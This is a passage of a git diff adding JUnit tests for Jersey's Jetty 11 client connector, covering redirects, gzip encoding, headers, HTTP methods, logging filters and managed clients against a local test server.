+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Jetty connector follow redirect tests.
+ *
+ * @author Martin Matula
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Marek Potociar
+ */
+public class FollowRedirectsTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+ @Path("/test")
+ public static class RedirectResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("redirect")
+ public Response redirect() {
+ return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(RedirectResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ private static class RedirectTestFilter implements ClientResponseFilter {
+ public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+ @Override
+ public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+ if (responseContext instanceof ClientResponse) {
+ ClientResponse clientResponse = (ClientResponse) responseContext;
+ responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+ }
+ }
+ }
+
+ @Test
+ public void testDoFollow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ Response r = t.path("test/redirect")
+ .register(RedirectTestFilter.class)
+ .request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+// TODO uncomment as part of JERSEY-2388 fix.
+// assertEquals(
+// UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
+// r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
+
+ c.close();
+ }
+
+ @Test
+ public void testDoFollowPerRequestOverride() {
+ WebTarget t = target("test/redirect");
+ t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+ Response r = t.request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDontFollow() {
+ WebTarget t = target("test/redirect");
+ assertEquals(303, t.request().get().getStatus());
+ }
+
+ @Test
+ public void testDontFollowPerRequestOverride() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget t = client.target(u);
+ t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ Response r = t.path("test/redirect").request().get();
+ assertEquals(303, r.getStatus());
+ client.close();
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
new file mode 100644
index 00000000000..727c389ef8c
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class GZIPContentEncodingTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ @Path("/")
+ public static class Resource {
+
+ @POST
+ public byte[] post(byte[] content) {
+ return content;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(Resource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(GZipEncoder.class);
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target();
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+ assertTrue(cr.hasEntity());
+ cr.close();
+ }
+
+ @Test
+ public void testPostChunked() {
+ ClientConfig config = new ClientConfig();
+ config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+ config.connectorProvider(new JettyConnectorProvider());
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.text("POST"));
+ assertTrue(cr.hasEntity());
+ cr.close();
+
+ client.close();
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
new file mode 100644
index 00000000000..4e9f09eb8e5
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ *
+ * @author Jakub Podlesak
+ */
+public class HelloWorldTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+ private static final String ROOT_PATH = "helloworld";
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testConnection() {
+ Response response = target().path(ROOT_PATH).request("text/plain").get();
+ assertEquals(200, response.getStatus());
+ }
+
+ @Test
+ public void testClientStringResponse() {
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ }
+
+ @Test
+ public void testAsyncClientRequests() throws InterruptedException {
+ final int REQUESTS = 20;
+ final CountDownLatch latch = new CountDownLatch(REQUESTS);
+ final long tic = System.currentTimeMillis();
+ for (int i = 0; i < REQUESTS; i++) {
+ final int id = i;
+ target().path(ROOT_PATH).request().async().get(new InvocationCallback() {
+ @Override
+ public void completed(Response response) {
+ try {
+ final String result = response.readEntity(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+ } finally {
+ latch.countDown();
+ }
+ }
+
+ @Override
+ public void failed(Throwable error) {
+ error.printStackTrace();
+ latch.countDown();
+ }
+ });
+ }
+ latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+ final long toc = System.currentTimeMillis();
+ Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+ }
+
+ @Test
+ public void testHead() {
+ Response response = target().path(ROOT_PATH).request().head();
+ assertEquals(200, response.getStatus());
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals("foo/bar", response.getMediaType().toString());
+ assertEquals(0, response.getLength());
+ }
+
+ @Test
+ public void testTextPlainOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ final String responseBody = response.readEntity(String.class);
+ _checkAllowContent(responseBody);
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+ @Test
+ public void testMissingResourceNotFound() {
+ Response response;
+
+ response = target().path(ROOT_PATH + "arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+
+ response = target().path(ROOT_PATH).path("arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientClass() {
+ Client client = client();
+ client.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientInstance() {
+ Client client = client();
+ client.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterTargetClass() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testLoggingFilterTargetInstance() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testConfigurationUpdate() {
+ Client client1 = client();
+ client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+ Client client = ClientBuilder.newClient(client1.getConfiguration());
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
new file mode 100644
index 00000000000..c40b8114a96
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.List;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the headers.
+ *
+ * @author Stepan Kopriva
+ */
+public class HttpHeadersTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @POST
+ public String post(
+ @HeaderParam("Transfer-Encoding") String transferEncoding,
+ @HeaderParam("X-CLIENT") String xClient,
+ @HeaderParam("X-WRITER") String xWriter,
+ String entity) {
+ assertEquals("client", xClient);
+ return "POST";
+ }
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+ assertEquals(200, response.getStatus());
+ assertTrue(response.hasEntity());
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
new file mode 100644
index 00000000000..eeafa010f3e
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
@@ -0,0 +1,256 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Jersey programmatic managed client test
+ *
+ * @author Marek Potociar
+ */
+public class ManagedClientTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+ /**
+ * Managed client configuration for client A.
+ */
+ @ClientBinding(configClass = MyClientAConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public static @interface ClientA {
+ }
+
+ /**
+ * Managed client configuration for client B.
+ */
+ @ClientBinding(configClass = MyClientBConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public @interface ClientB {
+ }
+
+ /**
+ * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+ * to every method that is annotated with {@link Require @Require} internal feature
+ * annotation.
+ */
+ public static class CustomHeaderFeature implements DynamicFeature {
+
+ /**
+ * A method annotation to be placed on those resource methods to which a validating
+ * {@link CustomHeaderFilter} instance should be added.
+ */
+ @Retention(RetentionPolicy.RUNTIME)
+ @Documented
+ @Target(ElementType.METHOD)
+ public static @interface Require {
+
+ /**
+ * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerName();
+
+ /**
+ * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerValue();
+ }
+
+ @Override
+ public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+ final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+ if (va != null) {
+ context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+ }
+ }
+ }
+
+ /**
+ * A filter for appending and validating custom headers.
+ *
+ * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+ *
+ *
+ * On the server side, validates that each request has a custom header with a configured name and value.
+ * If the validation fails a HTTP 403 response is returned.
+ *
+ */
+ public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+ private final String headerName;
+ private final String headerValue;
+
+ public CustomHeaderFilter(String headerName, String headerValue) {
+ if (headerName == null || headerValue == null) {
+ throw new IllegalArgumentException("Header name and value must not be null.");
+ }
+ this.headerName = headerName;
+ this.headerValue = headerValue;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext ctx) throws IOException { // validate
+ if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+ ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+ .type(MediaType.TEXT_PLAIN)
+ .entity(String
+ .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+ .build());
+ }
+ }
+
+ @Override
+ public void filter(ClientRequestContext ctx) throws IOException { // append
+ ctx.getHeaders().putSingle(headerName, headerValue);
+ }
+ }
+
+ /**
+ * Internal resource accessed from the managed client resource.
+ */
+ @Path("internal")
+ public static class InternalResource {
+
+ @GET
+ @Path("a")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+ public String getA() {
+ return "a";
+ }
+
+ @GET
+ @Path("b")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+ public String getB() {
+ return "b";
+ }
+ }
+
+ /**
+ * A resource that uses managed clients to retrieve values of internal
+ * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+ * and require a specific custom header in a request to be set to a specific value.
+ *
+ * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+ * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+ * with a proper value into the outgoing client requests.
+ *
+ */
+ @Path("public")
+ public static class PublicResource {
+
+ @Uri("a")
+ @ClientA // resolves to /internal/a
+ private WebTarget targetA;
+
+ @GET
+ @Produces("text/plain")
+ @Path("a")
+ public String getTargetA() {
+ return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+ }
+
+ @GET
+ @Produces("text/plain")
+ @Path("b")
+ public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+ return targetB.request(MediaType.TEXT_PLAIN).get();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+ .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ public static class MyClientAConfig extends ClientConfig {
+
+ public MyClientAConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "a"));
+ }
+ }
+
+ public static class MyClientBConfig extends ClientConfig {
+
+ public MyClientBConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "b"));
+ }
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ /**
+ * Test that a connection via managed clients works properly.
+ *
+ * @throws Exception in case of test failure.
+ */
+ @Test
+ public void testManagedClient() throws Exception {
+ final WebTarget resource = target().path("public").path("{name}");
+ Response response;
+
+ response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("a", response.readEntity(String.class));
+
+ response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("b", response.readEntity(String.class));
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
new file mode 100644
index 00000000000..dc366d16d98
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests the Http methods.
+ *
+ * @author Stepan Kopriva
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class MethodTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @POST
+ public String post(String entity) {
+ return entity;
+ }
+
+ @PUT
+ public String put(String entity) {
+ return entity;
+ }
+
+ @PATCH
+ public String patch(String entity) {
+ return entity;
+ }
+
+ @DELETE
+ public String delete() {
+ return "DELETE";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().get().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPut() {
+ Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPutAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDelete() {
+ Response response = target(PATH).request().delete();
+ assertEquals("DELETE", response.readEntity(String.class));
